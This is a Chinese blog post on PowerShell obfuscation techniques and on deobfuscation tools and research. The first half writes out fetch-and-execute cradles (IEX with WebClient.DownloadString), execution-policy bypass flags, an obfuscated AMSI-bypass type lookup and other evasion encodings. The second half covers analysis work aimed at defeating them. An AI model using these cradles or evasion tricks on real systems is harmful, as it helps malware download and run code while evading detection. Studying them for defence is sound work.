powershell混淆与反混

 powershell是基于.net开发的自动化语言。利用ps可以进行很多攻击,例如,利用DownloadString,能够在设备上运行命令/外壳代码/可执行文件,而无需对设备磁盘进行任何写入操作。或者使用Marshall类,外壳代码可以在内存中解密,并且可以在不写入磁盘的情况下执行。ps提供了对机器内核的访问,包括对Windows API的无限制访问。因此,越来越多的网络犯罪分子将PowerShell加入了他们的攻击武器库。

powershell使用的参数

ExecutionPolicy

 为安全目的创建的策略,可确定可以在设备上运行的powershell脚本的类型:

1
2
3
4
5
Restricted:无法在设备上运行脚本
AllSigned:只有由受信任的发布者签名的脚本才能运行
RemoteSigned:只有本地生成的脚本文件才能运行
Unrestricted:可以运行本地创建和签名的脚本,对于远程运行的脚本,将显示命令提示符
Bypass:所有脚本都可以在设备上运行

 攻击者假设ExecutionPolicy值是RestrictedRemoteSigned的。此时,攻击者使用powershell -EP bypass或者powershell -ExecutionPolicy bypass来绕过。

EncodedCommand

 Powershell 可以解码并运行 Base64 值,使用powershell -EncodedCommand 'Base64 '

NonInteractive(NonI)

 执行非交互式脚本。

NoProfile(NoP)

 允许用户在不加载powershell配置文件的情况下运行脚本。powershell配置文件包括:Powershell变量、自定义设置、函数。通过禁用此配置文件,攻击者可以禁用ExecutionPolicy值,因此可以绕过。

Sta

 单线程单元。一些 COM(组件对象模型)对象需要单线程单元模型。COM 对象用于访问系统服务。如果攻击者在其脚本中使用COM对象,可使用此参数来确保脚本能够工作。

总结

 因此,常见的ps命令行选项如下所示:

1
powershell -NoP -sta -NonI -W Hidden -Enc

powershell混淆技法(绕过技法)

去除关键字

 去除一些关键字,例如system等,例如:脚本中的New-Object System.Net.WebClient 可以改为New-Object Net.WebClient

字符串操作

链接

 对于脚本中的字符串,例如"http://127.0.0.1/powershell",可以改为"ht"+"tp://127.0.0.1/powershell"

替换

1
$value1 = "Onlyf8"

 可以写为:

1
2
$value1 = "Oxxxaaanaaaabbbxlxxxaaaabbbbyfaaaaxxxxbb8"
$value1.Replace("x","").Replace("a","").Replace("b","")

 再比如:

1
$value1_=[Ref].Assembly.GetType(('System.Management.Automation.AmsiUtils'));

 可以写为:

1
$value1_=[Ref].Assembly.GetType((('{4}{0}{9}tem.{3}ana{6}ement.{8}{2}t{7}mati{7}n.{8}m{9}i{5}ti{1}{9}')-f'y','l','u','M','S','U','g','o','A','s'));

大小写

"hello"可以写成"hELLO"

空格

"hello"可以写成"he llo"

字符串转为命令

"iex"转命令为&("iex")

使用Invoke方法

 对于脚本中的方法调用,可以改为使用Invoke进行调用,例如:

1
Invoke-Expression (New-Object System.Net.WebClient).DownloadString("xxx")

 可以改为:

1
Invoke-Expression (New-Object System.Net.WebClient).("DownloadString").Invoke("xxx")

使用NewScriptBlock命令

 例如:

1
Invoke-Expression (New-Object System.Net.WebClient).DownloadString("xxx")

 可以改为:

1
.($ExecutionContext.InvokeCommand.NewScriptBlock('invoke-expression (New-Object System.Net.WebClient).DownloadString("xxx")'))

使用invoke-command{xxx}(icm)命令

 例如:

1
Invoke-Expression (New-Object System.Net.WebClient).DownloadString("xxx")

 可以改为:

1
invoke-command{Invoke-Expression (New-Object System.Net.WebClient).DownloadString("xxx")}

 将invoke-command缩写为icm

1
icm{Invoke-Expression (New-Object System.Net.WebClient).DownloadString("xxx")}

变量替代

 例如脚本:

1
Invoke-Expression (New-Object System.Net.WebClient).DownloadString("xxx")

 可以改为:

1
2
Invoke-Expression $test = New-Object System.Net.WebClient
$test.DownloadString("xxx")

关键字使用单双引号

 例如脚本:

1
Invoke-Expression (New-Object System.Net.WebClient).DownloadString("xxx")

 可以改为:

1
Invoke-Expression (New-Object System.Net.WebClient)."DownloadString".Invoke("xxx")

 与使用Invoke方法类似,之后都可以接着使用字符串链接进行下一步混淆。

 也可以改成:

1
Invoke-Expression (New-Object ("System.Net.WebClient"))."DownloadString".Invoke("xxx")

转义

 例如脚本:

1
Invoke-Expression (New-Object System.Net.WebClient).DownloadString("http://127.0.0.1/1")

 可以改为:

1
Invoke-Expression (New-Object System.Net.WebClient).DownloadString("`htt`p`:`/`/`1`2`7`.`0`.`0`.`1`/`1")

 但是注意,有些字符转义后会影响本身的含义:

1
2
3
4
5
6
7
`a----警报
`b----退格
`f----换页
`n----换行
`r----回车
`t----水平制表
`v----垂直制表

使用通配符*

 例如New-Object,使用通配符*可写成如下形式:

1
2
3
4
&(Get-Command New-Obje*)
&(Get-Command N*-O*)
&(GCM *w-O*)
&(COMMAND *w-*ct)

动态变量混淆

 例如DownloadString,通过遍历函数并模糊匹配的方式找到此调用:

1
Invoke-Expression (New-Object System.Net.WebClient)."DownloadString".Invoke("xxx")

 可以改为(`$_ 表示当前正在处理的对象):

1
Invoke-Expression (New-Object System.Net.WebClient).PsObject.Methods|Where-Object {$_.Name -like "*own*d*ing"}("http://127.0.0.1/1")

变量传递

 写入:

1
cmd.exe /c "set cmd=Write-Host ENV-Fore Green&&powershell IEX $env:cmd"

 其中-c代表执行命令后立即终止。之后执行两条指令:

1
set cmd=Write-Host ENV-Fore Green

 代表定义cmd为一条ps指令,其为Write-Host ENV-Fore Green,当在ps中输入命令后,命令会赋给cmd。

 接着执行:

1
powershell IEX $env:cmd

 即运行刚才输入的命令。

字符串反转

 例如脚本:

1
Invoke-Expression (New-Object Net.WebClient).DownloadString('http://127.0.0.1/1')

 可以改为:

1
2
$re = ")'1/1.0.0.721//:ptth'(gnirtSdaolnwoD.)tneilCbeW.teN tcejbO-weN(";
Invoke-Expression ($re[-1..-($re.Length)] -Join '')

base64编码执行

 例如脚本:

1
Invoke-Expression (New-Object Net.WebClient).DownloadString('http://127.0.0.1/1')

 可以改为:

1
2
3
4
$command = "(New-Object Net.WebClient).DownloadString('http://127.0.0.1/1')"
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encodedCommand = [Convert]::ToBase64String($bytes)
powershell.exe -EncodedCommand $encodedCommand

加密

 使用函数SecureStringToBSTR,若要运行:

1
Invoke-Expression (New-Object Net.WebClient).DownloadString('http://127.0.0.1/1')

 可以写为:

1
2
3
4
5
$cmd = "Invoke-Expression (New-Object Net.WebClient).DownloadString('http://127.0.0.1/1')"
$secCmd = ConvertTo-SecureString $cmd -AsPlainText -Force
$secCmdPlaintext = $secCmd | CovertFrom-SecureString -Key (1..16)
$secCmd = $secCmdPlaintext | ConvertTo-SecureString -Key (1..16)
([System.Runtime.InteropServices.Marshal]::PtrToStringAuto([System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($secCmd))) | IEX

IEX等命令的替代

  • IEX别名:Invoke-Expression&(GAL I*X)
  • 通过command的方式来进行编码:Command I*e-E*
  • 使用环境变量:$ExecutionContext.InvokeCommand.GetCmdlets('I*e-E*')
  • 其他选项/命令的别名(替代)如下所示:

image-20231016141807602

特殊字符混淆

 可以使用特殊字符来定义变量,相关的项目名为Invoke-Obfuscation。给出如下脚本:

1
${$!-}  =+  $(  )  ;${;/=}  =${$!-};${-}=  ++  ${$!-}  ;${/}  =++${$!-};${(}  =  ++  ${$!-};${#}=  ++${$!-};${.}  =++  ${$!-}  ;${)@}  =  ++  ${$!-}  ;${!}  =++${$!-}  ;${;~+}=  ++  ${$!-};${@}=++${$!-}  ;${[$ }  ="["+  "$(  @{}  )"[  ${!}]  +"$(@{})"["${-}"+"${@}"]+"$(@{  })  "["${/}"  +"${;/=}"  ]+"$?"[${-}  ]+"]";${$!-}="".("$(@{}  )  "[  "${-}${#}"]  +  "$(  @{  }  )  "["${-}${)@}"]+  "$(  @{})"[${;/=}]+  "$(  @{}  )"[  ${#}]  +  "$?"[  ${-}  ]  +"$(@{  })  "[${(}]);${$!-}=  "$(@{})"["${-}${#}"  ]+  "$(  @{})"[  ${#}]  +  "${$!-}"[  "${/}${!}"]  ;.${$!-}(  "${[$ }${-}${;/=}${@}+  ${[$ }${-}${;/=}${!}  +${[$ }${-}${;/=}${;/=}  +${[$ }${-}${;/=}${.}  +${[$ }${-}${-}${#}+${[$ }${(}${/}  +  ${[$ }${-}${-}${-}+${[$ }${-}${-}${;/=}  +  ${[$ }${-}${;/=}${;~+}+${[$ }${-}${/}${-}+${[$ }${-}${;/=}${/}+  ${[$ }${.}${)@}|  ${$!-}  "  )

(1)按;隔开脚本,如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
${$!-}  =+  $(  )  ;
${;/=} =${$!-};
${-}= ++ ${$!-} ;
${/} =++${$!-};
${(} = ++ ${$!-};
${#}= ++${$!-};
${.} =++ ${$!-} ;
${)@} = ++ ${$!-} ;
${!} =++${$!-} ;
${;~+}= ++ ${$!-};
${@}=++${$!-} ;
${[$ } ="["+ "$( @{} )"[ ${!}] +"$(@{})"["${-}"+"${@}"]+"$(@{ }) "["${/}" +"${;/=}" ]+"$?"[${-} ]+"]";
${$!-}="".("$(@{} ) "[ "${-}${#}"] + "$( @{ } ) "["${-}${)@}"]+ "$( @{})"[${;/=}]+ "$( @{} )"[ ${#}] + "$?"[ ${-} ] +"$(@{ }) "[${(}]);
${$!-}= "$(@{})"["${-}${#}" ]+ "$( @{})"[ ${#}] + "${$!-}"[ "${/}${!}"] ;
.${$!-}( "${[$ }${-}${;/=}${@}+ ${[$ }${-}${;/=}${!} +${[$ }${-}${;/=}${;/=} +${[$ }${-}${;/=}${.} +${[$ }${-}${-}${#}+${[$ }${(}${/} + ${[$ }${-}${-}${-}+${[$ }${-}${-}${;/=} + ${[$ }${-}${;/=}${;~+}+${[$ }${-}${/}${-}+${[$ }${-}${;/=}${/}+ ${[$ }${.}${)@}| ${$!-} " )

(2)执行完前12行后,有:

1
2
3
4
5
6
7
8
9
10
11
${$!-} = 8
${;/=} = 0
${-} = 1
${/} = 2
${(} = 3
${#} = 4
${.} = 5
${)@} = 6
${!} = 7
${;~+} = 8
${@} = 9

(3)由于"$(@{})"返回System.Collections.Hashtable"$?"返回True,因此有:

1
2
3
${[$ } = "["+  "$(  @{}  )"[  ${!}]  +"$(@{})"["${-}"+"${@}"]+"$(@{  })  "["${/}"  +"${;/=}"  ]+"$?"[${-}  ]+"]"
= "[" + "System.Collections.Hashtable"[7] + "System.Collections.Hashtable"[19] + "System.Collections.Hashtable"[20] + "True"[1] + "]"
= "[Char]"

 类似的分析,得到${$!-}=iex,最后执行的指令为:

1
.iex(mkdir onlyf8 | iex)

注:BlobRunner可以调试shellcode。

powershell 反混淆

基于AST和语义保持的反混淆(Invoke-Deobfuscation 工具)

 现有方法反混淆主要分为三个步骤,即识别混淆脚本片段、还原混淆和重构脚本

 在识别混淆脚本片段上,PowerDecode设计了一组正则表达式来匹配,但它们经常识别出带有无效语法的错误脚本片段;李振源等人使用基于机器学习的分类器来识别混淆脚本片段,其使用抽象语法树(AST)节点的特征来识别具有有效语法的混淆片段,这在很大程度上取决于训练数据的质量。

 在还原混淆方面,有3种方法:预定义还原规则、函数重载和直接执行。预定义的还原规则按照混淆的类型模拟还原过程,对于一些特定的混淆技术非常有效,但经常因忽略混淆脚本片段的语法而得到错误的结果。函数重载用于处理特定函数的混淆参数,如Invoke-Expression,它拦截目标函数并捕获它们经过多次反混淆的运行时参数。直接执行是另一种处理混淆脚本片段的方法,但是,由于缺少上下文,该方法无法正确处理带变量的混淆片段。

 现有的脚本重构方法都是上下文无关的,因此它们最终的反混淆脚本可能不符合语法或在语义上不一致。它们替换脚本中所有相同的混淆片段,这会忽略这些片段的不同上下文,并可能改变脚本的语义。

 Invoke-Deobfuscation做了如下几件事:(1)根据脚本 AST 的标记和可还原节点识别混淆的脚本片段;(2)跟踪变量以获取混淆脚本片段的上下文;(3)基于AST的后序遍历重构脚本。

 Invoke-Deobfuscation的反混淆过程可以分为三个阶段:Token解析、基于AST的变量跟踪和还原、重命名和重排版。

Token解析

 基于Microsoft的官方库System.Management.Automation.PSParser对ps脚本进行标记化,Token包含文本内容、起始偏移、长度等许多属性。之后,利用Token的属性来还原原始Token并将它们组合起来形成反混淆脚本。如下图所示:

image-20231015184907321

 如果一个Token的类型是命令,它的内容是一个别名,如上图中的命令IeX,将用全称Invoke-Expression替换它。可以在Token级别处理其他混淆,例如随机大小写。处理完一个混淆的Token后,我们将在脚本中将其替换为它的还原结果。逆序处理可以识别未处理的Token而不需要重新解析新产生的脚本

基于AST的还原

 混淆脚本包括包括混淆数据及其还原算法。反混淆的关键是在混淆脚本中识别这些可还原的片段

(1)识别可还原的片段

使用 PowerShell AST 上特定类型节点的内容来识别可还原的脚本片段。首先,PowerShell脚本的AST各节点内容语法有效,包含可还原的脚本片段。其次,通过执行可还原的片段来获得原始片段。例如,”he”+”llo”可以执行得到”hello”。因此,我们对PowerShell AST中的所有节点类型进行分析,找出其内容在执行后往往能得到字符串形式结果的节点类型。我们称这些类型的节点为可还原节点,包括PipelineAst、UnaryExpressionAst、BinaryExpressionAst、ConvertExpressionAst、InvokeMemberExpressionAst和SubExpressionAst 。最后,可还原节点的内容提取为可还原片段

(2)基于调用的还原

通过Invoke函数执行可还原的脚本片段以获得它们的还原结果。可还原的脚本片段可能包含与还原过程无关的命令,例如Restart-Computer、Start-Sleep等。因此,创建这些命令的黑名单以加速反混淆。

(3)变量追踪

 由于缺少上下文,无法直接执行包含变量的可还原片段来获得正确的还原结果,因此,使用符号表来记录脚本中出现的变量的范围和值。变量分为局部变量、全局变量和环境变量三种类型。后序遍历AST,记录下当前访问节点的作用域。只有在访问NamedblockAst、IfStatementAst、WhileStatementAst、ForStatementAst、ForEachStatementAst和StatementBlockAst六种节点时,当前节点作用域的深度将变化。

 通过执行变量的赋值表达式将变量的值记录在符号表中。基于 AssignmentStatement 节点,可以识别变量及其赋值表达式。

(4)Invoke-Expression 和 PowerShell

 混淆脚本通常包含多层混淆,其典型特征是包含Invoke-Expression cmdlet或PowerShell。Invoke-Expression和PowerShell都可以将它们的字符串参数作为脚本运行。攻击者经常使用不同的方法来混淆这些命令。例如,混淆片段.($pshome[4]+$pshome[30]+"x")等同于Invoke-Expression,使用变量追踪可以得到还原结果.("iex"),这是Invoke-Expression的常见格式。Invoke-Expression的其他常见格式包括iex"xxx"|iex&"iex"

 PowerShell可以使用参数-EncodedCommand执行Base64编码的命令。由于PowerShell的自动补全和大小写不敏感,该参数可以用于多种格式,如-e、-eNc等。我们将参数转换为小写并使用"-encodedcommand".StartsWith($param)判断参数是否为-EncodedCommand

(5)脚本重构

 基于 AST 的后序遍历重构反混淆脚本,当访问一个节点时,我们首先使用它的子节点的内容来更新它的内容,以确保在访问它时,它的所有子节点都已经处理完毕。如果其内容被混淆,我们将用其还原结果替换它。最终,当我们访问 AST 的根节点时,将获得整个反混淆脚本。

重命名和重排版

 随机命名变量和函数的重命名以及代码的重排版可以使脚本更易于分析人员分析。使用统计分析来确定变量名称函数名称是否是随机的,并用预定义的规则替换随机名称。

(1)将脚本中所有唯一的变量名和函数名提取出来,看成是一个完整的字符串。根据元音和特殊字符的比例来判断字符串是否随机。Hayden指出在通用美式英语中元音的比例约为37.4%,因此当英文字符中元音的比例不在32%和42%之间时,我们假设字符串是随机的。

(2)对于非英文字母的特殊字符,我们将来自GitHub的4234个正常PowerShell脚本与我们收集到的恶意脚本进行统计对比,发现正常脚本中英文字母的比例大于70%,而非英文字母的特殊字符比例小于 2%。因此,当一个字符串的英文字母比例小于10% 时,我们假设该字符串是随机的。

(3)使用var_{num}func_{num}替换随机变量和函数名称,新名称取决于该变量或函数在混淆脚本片段出现的顺序。

日志去混淆

 powershell日志记录了执行ps指令的过程,因此可以通过日志查看真实执行的ps指令。

PowerDrive工具-去混淆原理

image-20231016135538877

 PowerDrive由预处理模块、去混淆模块、反调试检测模块、执行脚本模块4个模块组成。各个模块功能为:

  • 预处理模块:将多行转换成一行,去除不可见的ASCII字符,检查符号是否正确。
  • 去混淆模块:(1)使用正则来匹配需要重新排序的字符串,并进行重新排序。(2)使用Invoke-Expression将混淆后的字符串作为命令运行,字符串就会被自动去混淆。
  • 反调试检测模块:检测sleep指令、检测恶意软件的输出是否被重定向到空输出、检测死循环、检测是否使用try-catch模块来引发异常。
  • 执行脚本模块:主要是检索后续阶段的有效载荷,钩取Invoke-WebRequest、 Invoke-Rest和New-Object来提取脚本关联的其他可执行文件。

机器学习去混淆

 构建分类器(File Status Classifier)来确定样本是否被编码、混淆或是明文。然后循环应用解码和反混淆逻辑,并且检查每次的输出以确定是否需要下一次操作。最后,用cleanup神经网络来修正无法处理的特殊位。如下所示:

image-20231016151347423

构建 Status Classifier

 其步骤为:(1)收集含有标签的样本(比如,十六进制编码、混淆、明文等);(2)对样本生成数字特征;(3)进行训练。

 针对(1),通过爬虫抓取github ps样本,并生成混淆与编码样本。

 针对(2),以样本为输入,使用LSTM,生成样本数字特征。

构建 De-encoder

 使用正则表达式来进行模式匹配,从而解码。

构建 Deobfuscator

 大部分可以通过简单逻辑来处理:连接字符串,移除反引号,替换变量等。

 对于基于-f的字符串进行重新排序,步骤如下:

1
2
3
4
5
1. 找出-f或-F;
2. 找出所有-f之前的{[0-9]+}类型的占位符
3. 找出所有-f之后的所有的字符串和有效的非字符串值
4. 用值替换占位符
5. 在同一行进行多次循环
构建 Cleanup Network

 被Cleanup Network处理前,可能包含很多令人费解的字符串,例如MOdULEDiRectORy。使用Seq2Seq(翻译中经常用到),针对减少错误的预测结果,步骤如下:

1
2
3
4
1. 找出混淆后脚本和非混淆脚本中对应的单词
2. 找出可能被混淆的变量和关键词
3. 用混淆后脚本中单词作为输入,非非混淆脚本中单词作为期望输出
4. 用之前的预测和新的输入数据预测下一个字符

其他工具去混淆

(1)静态规则检测:Flerken

(2)混淆还原:powershellprofiler

参考链接

[1] https://rootclay.gitbook.io/powershell-attack-guide/jin-jie-pian/9.-hun-xiao

[2] https://onlyf8.com//powershell-obfuscationEN

[3] https://www.secrss.com/articles/52662

[4] https://www.ctfiot.com/41643.html

[5] https://www.secrss.com/articles/20119

[6] https://xz.aliyun.com/t/2923

[7] https://cloud.tencent.com/developer/article/1639161

留言

© 2024 wd-z711

⬆︎TOP